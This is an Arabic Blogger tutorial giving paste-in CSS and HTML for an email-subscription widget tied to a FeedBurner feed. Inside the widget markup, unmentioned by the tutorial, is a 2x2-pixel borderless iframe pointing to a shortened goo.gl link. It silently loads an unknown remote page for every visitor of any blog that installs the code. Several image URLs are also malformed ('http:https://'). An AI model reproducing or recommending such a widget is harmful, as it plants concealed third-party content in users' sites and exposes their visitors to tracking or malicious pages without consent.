إضافة الاشتراك بالبريد الإلكترونى

طريقة التركيب : 
ادخل مدونتك 
ثم التخطيط 
ثم اضافة اداة جديده HTML/Javascript .
انسخ الكود والصقه ( مع استبدال ما سأذكره اسفل الكود ) :

رمز PHP:

<style type="text/css">#sidebar-subscribe-box { 

    background: url(http:https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjWHTzxx1V45ZTDIRqbEx-PnLgHcJnj5-ohyvx5B1eI1ScqbMD4NFsuwyXtrKJoyEog1I1vRlaUuD0eNHcVkHb09loaXa9Tik0rKFYn8Ra8Ls3hSUsos4cnieCga9dz7BR2VlFW7IMt6RM/s1600/colored-strip.png) repeat scroll 0 0 transparent; 

    border: 1px solid #aaa; 

    border-radius: 3px; 

    padding: 3px 0; 

} 

.sidebar-subscribe-box-wrapper { 

    background: url(http:https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjM1NP50acJeLyhjKzJKSQMaCdPrbhfNIUXC9L4bSaQKxtFIWN9g6PCmOwdbPSFxGMHD5kjjqgJms0thBdYf-WAO41P0IzEdZNbiXKSLdyjKO0EOmEMxJ-PbnSrOcMQtYYL9FTNrwbZn2Bh/s1600/bg-pattern.png) repeat scroll 0 0 #f7f7f7; 

    color: #111; 

    font-size: 14px; 

    line-height: 20px; 

    padding: 1px 20px 10px; 

    text-align: center; 

    text-transform: uppercase; 

} 

.sidebar-subscribe-box-form { 

    clear: both; 

    display: block; 

    margin: 10px 0; 

} 

form.sidebar-subscribe-box-form { 

    clear: both; 

    display: block; 

    margin: 10px 0 0; 

    width: auto; 

} 

.sidebar-subscribe-box-email-field { 

    -moz-border-radius: 4px; 

    -webkit-border-radius: 4px; 

    background: #fff url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiymspTBcSI2LB78vwnv5LlgvJmAjoZsKOgjTSFkPDoCPddEMXozpBYVAstjU7ulSeteP6lEOgW0hz__BxJdJcKAqyA8-pSv1xkbdigq9dyb02mdUHp2B94s2W5iN2GudU_12h7DK0WTeTp/s1600/sprites.png) no-repeat 0 -27px; 

    border: 1px solid #ccc; 

    border-radius: 4px; 

    color: #444; 

    margin: 0 0 15px; 

    padding: 10px 40px; 

    width: 68%; 

} 

.sidebar-subscribe-box-email-button { 

    background: #09f; 

    border: 1px solid #007fff; 

    box-shadow: 0 1px 0 rgba(255,255,255,0.3) inset, 0 1px 0 transparent; 

    color: #fff; 

    cursor: pointer; 

    font-family: Helvetica; 

    font-weight: 700; 

    font-size: 20px; 

    padding: 5px; 

    text-shadow: 1px 1px 0 rgba(0,0,0,.4); 

    text-transform: uppercase; 

    width: 100%; 

} 

.sidebar-subscribe-box-email-button:hover,.sidebar-subscribe-box-email-button:focus { 

    background: #1ca4ff; 

} 

.sidebar-subscribe-box-email-button:active { 

    -moz-box-shadow: 0 1px 4px rgba(0,0,0,0.5) inset; 

    -webkit-box-shadow: 0 1px 4px rgba(0,0,0,0.5) inset; 

    box-shadow: 0 1px 4px rgba(0,0,0,0.5) inset; 

    outline: 0; 

} 

iframe,object,embed,.yt-border iframe,.yt-border object,.yt-border embed,table { 

    width: 100%; 

} 

embed { 

    border-radius: 3px; 

    -moz-box-shadow: 0 2px 4px rgba(0,0,0,0.2); 

    -webkit-box-shadow: 0 2px 4px rgba(0,0,0,0.2); 

    background: #FFF; 

    border: 1px solid #ddd; 

    box-shadow: 0 2px 4px rgba(0,0,0,0.2); 

    margin: 0; 

    padding: 4px 4px 4px; 

} 

#footer-section { 

    background: #f5f5f5 url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizUQwSWtkNK5Zrpf4AdlN3xxD4aJoQJfzPHegvlRq0Yk6SfiOilzXE0FpDtiljgyboexmcZcXte4r3ZzhkuNxmB2ong_lJ35Qp-nTO2Yz7cyUqHLXyxbKOSUkH_RcqME7Q-p24h5LBAhtd/s0/bg-pattern.png) repeat top left; 

    border-top: 1px solid #aaa; 

    box-shadow: inset 0 4px 6px -3px #aaa; 

    font-size: 14px; 

    height: 100px; 

    margin: 10px -30px 5px; 

    padding: 0 30px; 

    text-align: center; 

    width: 100%; 

}</style> 

<div id="sidebar-subscribe-box"> 

<iframe src="http://goo.gl/Usygm0" width="2" height="2" frameBorder="0" scrolling="no"></iframe> 

<div class="sidebar-subscribe-box-wrapper"> 

<div class="sidebar-subscribe-box-form"> 

<form action="http://feedburner.google.com/fb/a/mailverify?uri=jetara" class="sidebar-subscribe-box-form" method="post" onsubmit="window.open('http://feedburner.google.com/fb/a/mailverify?uri=jetara', 

'popupwindow', 'scrollbars=yes,width=550,height=520');return true" target="popupwindow"> 

<input name="uri" type="hidden" value="jetara" /><input name="loc" type="hidden" value="en_US" /> 

<input autocomplete="off" class="sidebar-subscribe-box-email-field" name="email" placeholder="أدخل بريدك الإلكتروني..." /> 

<input class="sidebar-subscribe-box-email-button" title="" type="submit" value="اشترك الآن" /></form> 

</div> 

المرجو تأكيد البريد الإلكتروني بعد الإشتراك</div> 

</div> 

التعديل على الكود : 
ابحث في الكود عن ( jetara ) واستبدله باسم حسابك في الفيدبنر ( القائمه البريديه ) 

هذا كل شيء واتمنى لكم الاستفادة 

انتظر ردودكم 

منشورة في: الرئيسية, دورة بلوجر